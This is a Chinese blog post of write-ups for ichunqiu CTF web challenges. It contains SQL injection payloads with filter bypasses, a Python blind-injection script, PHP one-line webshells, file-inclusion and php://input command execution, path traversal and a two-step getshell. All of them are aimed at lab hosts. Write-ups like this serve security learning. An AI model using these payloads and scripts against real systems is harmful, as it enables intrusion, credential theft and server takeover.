Ichunqiu ctf WEB

WEB ICHUNQIU CTF

WEB区按分值从低到高的做。一边做,一边更....流出菜的泪水

 

爆破-1.

在变量中,联系到全局变量,用GLOBALS

 

爆破-2.

不在变量中,用命令读取system("ls")  system("cat flag.php|base64")  base64decode    加密解密后中间多了个空格(?)

 

爆破-3

Upload <script language = "Php">eval($_POST['flag'])</script>

 

再见CMS  

搜索此文件不可写:/var/www/html/cache/label_cache/index_0_0_25_0_0_24be0.php得到齐博cms

找到利用漏洞https://www.2cto.com/article/201501/365742.html

http://d335b1e6131d4bbcbdc8edb6dbf1d01c8ad6ebf5e4f74bb2.changame.ichunqiu.com/member/userinfo.php?job=edit&step=2

truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid= , address=(select group_concat(table_name) from information_schema.tables where table_schema = database()) where uid = 3 %23

第一个是admin库

truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid= , address=(select group_concat(column_name) from information_schema.columns where table_name = 'admin') where uid = 3 %23      单引号被转译

address=(select group_concat(distinct(column_name)) from information_schema.columns where table_name = (select distinct(table_name) from information_schema.tables where table_schema = database() limit 1) ) where uid = 3 %23

truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid= ,  address=(select group_concat(username,password) from admin) where uid = 3 %23

admin 2638127c92b79ee7901195382dc08068   没查到记录

脑洞访问 /var/www/html/flag.php 由于字符过滤,对路径十六进制处理

0x2f7661722f7777772f68746d6c2f666c61672e706870

load_file读取成功,源码里面有flag

 

sql

字符型注入,对关键词进行了过滤/**/无法绕过,使用<>绕过

?id=1 union se<>lect 1,2,3

2号位回显,对2号位进行注入

?id=1 union se<>lect 1,group_concat(table_name),3  from information_schema.tables where table_schema=database()

表:info,users

 ?id=1 union se<>lect 1,group_concat(column_name),3  from information_schema.columns where table_name='users'

info的列: id,title,flAg_T5ZNdrm   爆出flag

users的列:id,username,flag_9c861b688330 没有

 

sqli

页面重定向,注意名字l和1 0和o的区别,进入l0gin.php?id=1

#号被过滤,+被过滤   ,逗号也被过滤了

id=1'报错 ,id=1'%23正常,存在注入 。

逗号被过滤了不能用if,可以用select case when then else end ,截取也不能用逗号,使用from for

(select case when (substring((select user()) from 1 for 1)='e') then sleep(3) else 0 end)

看了writeup 用union select * from  ( (select user())a JOIN  (select version())b 绕过逗号过滤

?id=0'  union select * from (select user() ) a join (select version() ) b %23

表:users 列:id,username,flag_9c861b688330 字段里面有flag

.......不知道为什么提交失败。暂时放着吧

 

Backdoor

敏感泄露了git,用githack下载源码但是怎么都没找到flag 看了writeup

学到了新工具,githack下载的源码是没有.git的无法查看log

新工具dvcs-ripper 下载下来,git log ,reset --hard 进行版本回退

找到后门php,然后又是敏感泄露  vim编辑的泄露试了swn,swo,swp.. swo可以下载

下载下来 把文件名字改成 .b4ckdo0r.php  然后vim b4ckdo0r.php  进入会警告,然后输入r恢复

和以前一道题一样的后门,利用拿到flag.....又提交失败?可能还有坑

 

 GetFlag

看了writeup  学了碰撞的范围,万能密码' or 1=1# 绕过登录 ,进去发现下载文件提示在根目录,对下载文件目录进行遍历flag.php,flag 在helloctf.php,直接下载不行,那就做审计吧。。。拿到flag了 还是提交失败..- -自闭

 

Not Found

抓包 看到x-method,搜索http有以下method

Http请求的method

1 GET 请求指定的页面信息,并返回实体主体。

2 HEAD 类似于get请求,只不过返回的响应中没有具体的内容,用于获取报头

3 POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。

4 PUT 从客户端向服务器传送的数据取代指定的文档的内容。

5 DELETE 请求服务器删除指定的页面。

6 CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。

7 OPTIONS 允许客户端查看服务器的性能。

8 TRACE 回显服务器收到的请求,主要用于测试或诊断。

9 PATCH 实体中包含一个表,表中说明与该URI所表示的原内容的区别

11 COPY 请求服务器将指定的页面拷贝至另一个网络地址。

12 LINK 请求服务器建立链接关系。

13 UNLINK 断开链接关系。

14 WRAPPED 允许客户端发送经过封装的请求。

15 Extension-mothed 在不改动协议的前提下,可增加另外的方法。

用OPTIONS提交,发现返回包Location: ?f=1.php   f可以读取文件内容,因为404被重置了,所以尝试读取.htaccess

拿到被替代的页面 ,提示XFF,修改XFF仍然无法访问,那么用client-IP,拿到flag

 

Vld

进入提示index.php.txt  读代码是要get三个参数,值已经给出,进入1chunqiu目录,下载源码,代码审计,login的username用了adalashess过滤,传入的单引号前面会被加上\,但是由于%00会被转移成\0,和单引号一起传入就变成了\0\',源码有一个trim,是传入的number值,number值提交为0,即可替换为空,即\\'  达成注入。  可以updatexml报错注入等,拿到flag,

如username=1%00'and updatexml(1,(select concat(user())),1)#   由于updatexml显示有限,可以添加mid函数 对返回内容进行择取

补充测试了一下各个报错函数:extractvalue()   username=1%00'and extractvalue(1,(select concat(user())))# 可以

EXEC

 

登陆

 

fuzzing

抓包提醒大IP 既10开头的IP地址 修改XFF 进入 下一步,get 是show me your key  POST访问网页得到提示

key is not right,md5(key)==="1b4167610ba3f2ac426a68488dbd89be",and the key is ichunqiu***,the * is in [a-z0-9]

写脚本爆破

import hashlib
#python2.7
md5 = '1b4167610ba3f2ac426a68488dbd89be'

str_start = 'ichunqiu'

datalist = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9']



for i in range (len(datalist)):
    for j in range (len(datalist)):
        for k in range (len(datalist)):
            mystr = str_start+datalist[i]+datalist[j]+datalist[k]
            md5hash = hashlib.md5()
            md5hash.update(mystr)
            mystrmd5 = md5hash.hexdigest()
            if mystrmd5 == md5:
                print mystrmd5
                print mystr

得到key值 进入下一步xx00xxoo.php得到提示如下

source code is in the x0.txt.Can you guess the key
the authcode(flag) is 785e/sCLJpLIuqDjKKK7HMcxEKhqQObtxcHmqEhwdpTdN2yoVtCGXCvP2Hp4kTPipzznYmXce0Kvr9QMcXD5xuPOz9v3g+Q

进入x0.txt  拿到源码   脑洞一下key就是我们刚刚爆破出来的key 修改key 用authcode 解密 他给的字符串  得到flag

 

hash

点开根据提示拿到一段md5码,拿去解密得到 kkkkkk01123  根据提示,后三位为key且不是123即可  改为321  拿去hash得到值 然后key=321&hash=得到的hash值进入下一步

是反序列化,把Demo序列化后  在4前面添加+号绕过正则过滤, 把数字改大(1改为2)绕过wakeup 然后base64加密 进入下一步

由于有addslashes 进行了过滤操作,所以输入的value进行重新定义赋值,然后再赋值进行命令执行操作。

f15g_1s_here.php?val=${eval($_GET[a])}&a= system("cat+True_F1ag_i3_Here_233.php|base64")

 

Look

敏感文件扫到.viminfo  访问拿到,这里好像跳过了 本来需要注入才能拿到这个提示,做完看writeup研究了一下,又sql注入拿到 下一步 ?verify='<1%23  经过测试 <(0-9),=0,-0,%(0-9),*(0-9),/(0-9) 都可以

5211ec9dde53ee65bb02225117fba1e1.php.backup~~~  备份文件  访问该文件得到源码,部分源码如下   源码要求输入不是Bctf2O16但是带入数据库查询是以Bctf2O16
    if(stripos($_GET['usern3me'],'Bctf2O16')!==false)
        $name = 'FUCK';
$sql = "select * from admin where name='$name'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
    echo '<br>next ***.php';
}
根据提示  mysql 字符集 绕过

MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。
可以看到大写O和Ö是相等的 则构造5211ec9dde53ee65bb02225117fba1e1.php?usern3me=Bctf2Ö16  得到下一个页面,访问页面直接拿到源码

<?php
if(isset($_GET['path']) && isset($_GET['filename'])){
    $path = $_GET['path'];
    $name = "upload/".$_GET['filename'];
}
else{
    show_source(__FILE__);
    exit();
}
if(strpos($name,'..') > -1){
    echo 'WTF';
    exit();
}

if(strpos($path,'http://127.0.0.1/') === 0){
    file_put_contents($name,file_get_contents($path));
}
else{
    echo 'path error';
}
?>

要求path http://127.0.0.1开头使用  ..思想不够 原来可以用上一关的页面来写shell

c3368f5eb5f8367fd548b228bee69ef2.php?filename=1.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php%2520eval($_POST[flag]);?>

这里对空格进行了url二次编码绕过。然后蚁剑连接 拿到flag

 

 

Manager 

js绕过盲注

自提要点:

    首先前台输入有js阻止输入,使用复制粘贴 进行注入测试

    F12看login.js 里面有函数 明显不完全,发现本地的./sources/bootstrap.js 和./sources/jquery-3.1.1.js

    查看源码找到sign函数 以及对sign函数的用法   对输入的username为z1 以及固定的字符串

    YTY0YjM0Y2RhZTZiMjliZjFjOTQxOD== 用sign函数生成验证

sign.js

 

function sign (data, key) {
  var privateKey
  var i, j
  var W = new Array(80)
  var A, B, C, D, E
  var H0 = 0x97B5D3F1
  var H1 = 0x1F3D5B79
  var H2 = 0x684A2C0E
  var H3 = 0xE0C2A486
  var H4 = 0x33221100
  var H5 = 0xF0F0F0F0
  var temp
  var _RSA = function (n, s) {
      var t4 = (n << s) | (n >>> (32 - s))
      return t4
  }
  var _Rot = function (val) {
      var str = ''
      var i
      var v
      for (i = 7; i >= 0; i--) {
          v = (val >>> (i * 4)) & 0x0f
          str += v.toString(16)
      }
      return str
  }
  str = unescape(encodeURIComponent(key + data))
  var strLen = str.length
  var wordArray = []
  for (i = 0; i < strLen - 3; i += 4) {
      j = str.charCodeAt(i) << 24 |
          str.charCodeAt(i + 1) << 16 |
          str.charCodeAt(i + 2) << 8 |
          str.charCodeAt(i + 3)
      wordArray.push(j)
  }
  switch (strLen % 4) {
      case 0:
          i = 0x080000000
          break
      case 1:
          i = str.charCodeAt(strLen - 1) << 24 | 0x0800000
          break
      case 2:
          i = str.charCodeAt(strLen - 2) << 24 | str.charCodeAt(strLen - 1) << 16 | 0x08000
          break
      case 3:
          i = str.charCodeAt(strLen - 3) << 24 |
              str.charCodeAt(strLen - 2) << 16 |
              str.charCodeAt(strLen - 1) <<
          8 | 0x80
          break
  }
  wordArray.push(i)
  while ((wordArray.length % 16) !== 14) {
      wordArray.push(0)
  }
  wordArray.push(strLen >>> 29)
  wordArray.push((strLen << 3) & 0x0ffffffff)
  H0 ^= H5
  H1 ^= H5
  H2 ^= H5
  H3 ^= H5
  H4 ^= H5
  for (privateKey = 0; privateKey < wordArray.length; privateKey += 16) {
      for (i = 0; i < 16; i++) {
          W[i] = wordArray[privateKey + i]
      }
      for (i = 16; i <= 79; i++) {
          W[i] = _RSA(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1)
      }
      A = H0
      B = H1
      C = H2
      D = H3
      E = H4
      for (i = 0; i <= 19; i++) {
          temp = (_RSA(A, 5) + ((B & C) | (~B & D)) + 0x5A820000 + E + W[i] + 0x00007999) & 0x0ffffffff
          E = D
          D = C
          C = _RSA(B, 30)
          B = A
          A = temp
      }
      for (i = 20; i <= 39; i++) {
          temp = (_RSA(A, 5) + (B ^ C ^ D) + 0x6ED90000 + E + W[i] + 0x0000EBA1) & 0x0ffffffff
          E = D
          D = C
          C = _RSA(B, 30)
          B = A
          A = temp
      }
      for (i = 40; i <= 59; i++) {
          temp = (_RSA(A, 5) + ((B & C) | (B & D) | (C & D)) + 0x8F1B0000 + E + W[i] + 0x0000BCDC) & 0x0ffffffff
          E = D
          D = C
          C = _RSA(B, 30)
          B = A
          A = temp
      }
      for (i = 60; i <= 79; i++) {
          temp = (_RSA(A, 5) + (B ^ C ^ D) + 0xCA620000 + E + W[i] + 0x0000C1D6) & 0x0ffffffff
          E = D
          D = C
          C = _RSA(B, 30)
          B = A
          A = temp
      }
      H0 = (H0 + A) & 0x0ffffffff
      H1 = (H1 + B) & 0x0ffffffff
      H2 = (H2 + C) & 0x0ffffffff
      H3 = (H3 + D) & 0x0ffffffff
      H4 = (H4 + E) & 0x0ffffffff
  }
  temp = _Rot(H0) + _Rot(H1) + _Rot(H2) + _Rot(H3) + _Rot(H4)
  return temp.toLowerCase()
  
}

 

 

 

 

 

Mannager.py

 

import requests
import execjs
import sys

#USER@LOCALHOST

#sql = "1'or mid((select `p@ssw0rd` from users limit 0,1),{0},1)='{1}' #"
#MYICHUNQ1USUPERL0NG&&SECUREPA$$WORD
#MyIchunq1uSuperL0ng&&SecurePa$$word
#sql = "1'or mid((select database()),{0},1)='{1}' #"
#LOGIN 
#sql = "1'or mid((select group_concat(table_name) from information_schema.tables where table_schema = database()),{0},1)='{1}' #"
#sql = "1'or mid((select group_concat(column_name) from information_schema.columns where table_name = 'users'),{0},1)='{1}' #"
#ID,NAME,P@SSW0RD
sql = "1'or mid((select name from users),{0},1)='{1}' #"
password = 'test'

url = 'http://8e526fb8f52f4158b2f990cd98cc4d283b5af09746884513.changame.ichunqiu.com/login.php'


def get_sign():
    
    f = open("Manager/sign.js", 'r', encoding='UTF-8')
    line = f.readline()
    htmlstr = ''
    while line:
        htmlstr = htmlstr + line
        line = f.readline()
    return htmlstr
'''
def get_nonce():
    f = open("Manager/nonce.js", 'r', encoding='UTF-8')
    line = f.readline()
    htmlstr = ''
    while line:
        htmlstr = htmlstr + line
        line = f.readline()
    return htmlstr
    
def exe_nonce():
    noncestr = get_nonce()
    obj1 = execjs.compile(noncestr)
    nonce = obj1.call("getnonce")
    return nonce
'''
def exe_sign(a):
    signstr = get_sign()
    obj = execjs.compile(signstr)
    sign = obj.call("sign",a,"YTY0YjM0Y2RhZTZiMjliZjFjOTQxOD==")
    return sign



def Burp(sql):
    flag=''
    for i in range(1,40):
        for ch in range(32,129):
            if ch == 128:
                sys.exit(0)
            payload = sql.format(i,chr(ch))
            user = payload
            sign_nonce = exe_sign(user+password)
            print(user)
            data = {
                'username':user,
                'password':password,
                'submit':'',
                '_nonce':sign_nonce
            }

            re = requests.post(url=url,data = data)

            #print(re.content)
            string = "Incorrect"
            simple = string.encode()
            if simple in re.content:
                flag += chr(ch)
                print(flag)
                break

def sqltest(sql):
    passwd = 'a'
    sign_nonce = exe_sign(sql+passwd)
    data = {
    'username':sql,
    'password':passwd,
    'submit':'',
    '_nonce':sign_nonce
    }
    re = requests.post(url=url,data = data)
    print(re.content)
if __name__ == '__main__':
    Burp(sql)

 

Notebook 

session 文件包含

访问robots.txt  发现php1nFo.php   文件  根据提示 包含phpinfo 和自带的phpinfo不一样,

http://f5bff13e8dc341ebab401f97a0cb8d3255eefc1358574a2a.changame.ichunqiu.com/php1nFo.php

http://f5bff13e8dc341ebab401f97a0cb8d3255eefc1358574a2a.changame.ichunqiu.com/action.php?module=&file=php1nFo.php

 

把两个文件的源码复制下来,通过对比发现包含文件的session.save_path不一样  /tmp/SESS可以被包含

由于对与注册输入没有作任何过滤,所以可以直接给username注册一句话,再把session id 文件包含,蚁剑一句话连接即可拿到flag。

http://f5bff13e8dc341ebab401f97a0cb8d3255eefc1358574a2a.changame.ichunqiu.com/action.php?module=&file=../../../tmp/SESS/sess_6l0goqd4pvq6ojaoj7tg0d6n33

 

 

象棋 

js  爆破

import requests

url_start ='http://e74771769fb04fc2acb9d0f853a82cbe6fdaed0a13e9435b.changame.ichunqiu.com/js/'
#js/[abcmlyx]{2}ctf[0-9]{3}.js

str1 = 'abcmlyx'
str2 = '0123456789'
def burp():
    for i in str1:
        for j in str1:
            for k in str2:
                for l in str2:
                    for m in str2:
                        string = i+j+'ctf'+k+l+m+'.js'
                        print(string)
                        url = url_start+string
                        re = requests.post(url = url)
                        #print(re.status_code)
                        if re.status_code == 200:
                            print('right!'+string)
                            return string

print(burp())

 

攻击

经过分析  flag格式为  flag{字符串}  所以从第5位开始的三位字符串不知道,只能爆破

同时构造所有三个字符串的字典等于attack,然后post提交,如果里面有符合的字符串则会打印flag

import requests

url = 'http://5275d5aecee0437b9c466a350d2b580c94be8cda4af6474e.changame.ichunqiu.com/'

str1 = '0123456789'

datagroup={}

def burp():
    for i in str1:
        for j in str1:
            for k in str1:
                datagroup[i+j+k]="attack"

    re = requests.post(url = url,data = datagroup)
    print(re.content)
    string1 = 'flag{'
    simple = string1.encode()
    if simple in re.content:
        return re.content

print(burp())

 

 

include  

文件包含 

路径包含  /?path=phpinfo.php   测试  /?path=../../../etc/passwd

只包含没有命令不行,  测试path = php://  再 post命令  具体https://www.cnblogs.com/R4v3n/articles/8944330.html

/?path=php://input  

post

<?php system("cat dle345aae.php");?>

拿到flag

 

 

Zone

和我在攻防世界做到的一道题类似,而且还是简化了后续步骤的 ,改cookie 然后 ..././..././..././读到配置文件  /etx/nginx/nginx.conf   里面最后一句   include sites-enabled/default;   读配置文件 /etc/nginx/sites-enabled/default    aotuindex    online-movies  路径文件读取

/online-movies../var/www/html/flag.php  拿到flag

 

 

OneThink

自提知识点:1.换行符的二次编码  2.分段getshell

跟具提示找已知getshell的方法   https://bbs.ichunqiu.com/thread-4918-1-1.html

写一句话的时候失败了,好像是因为长度问题?  后来跟着writeup换成了两段式的成功了。

%0d%0a$x=$_GET[a];//   

%0d%0aeval($x);//

/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=system('命令输入');

ls

ls ../

ls ../../  看到flag.php   

cat ../../flag.php   F12 看源码拿到flag

posted @ 2019-11-27 16:51  Zhu013  阅读(831)  评论(0编辑  收藏  举报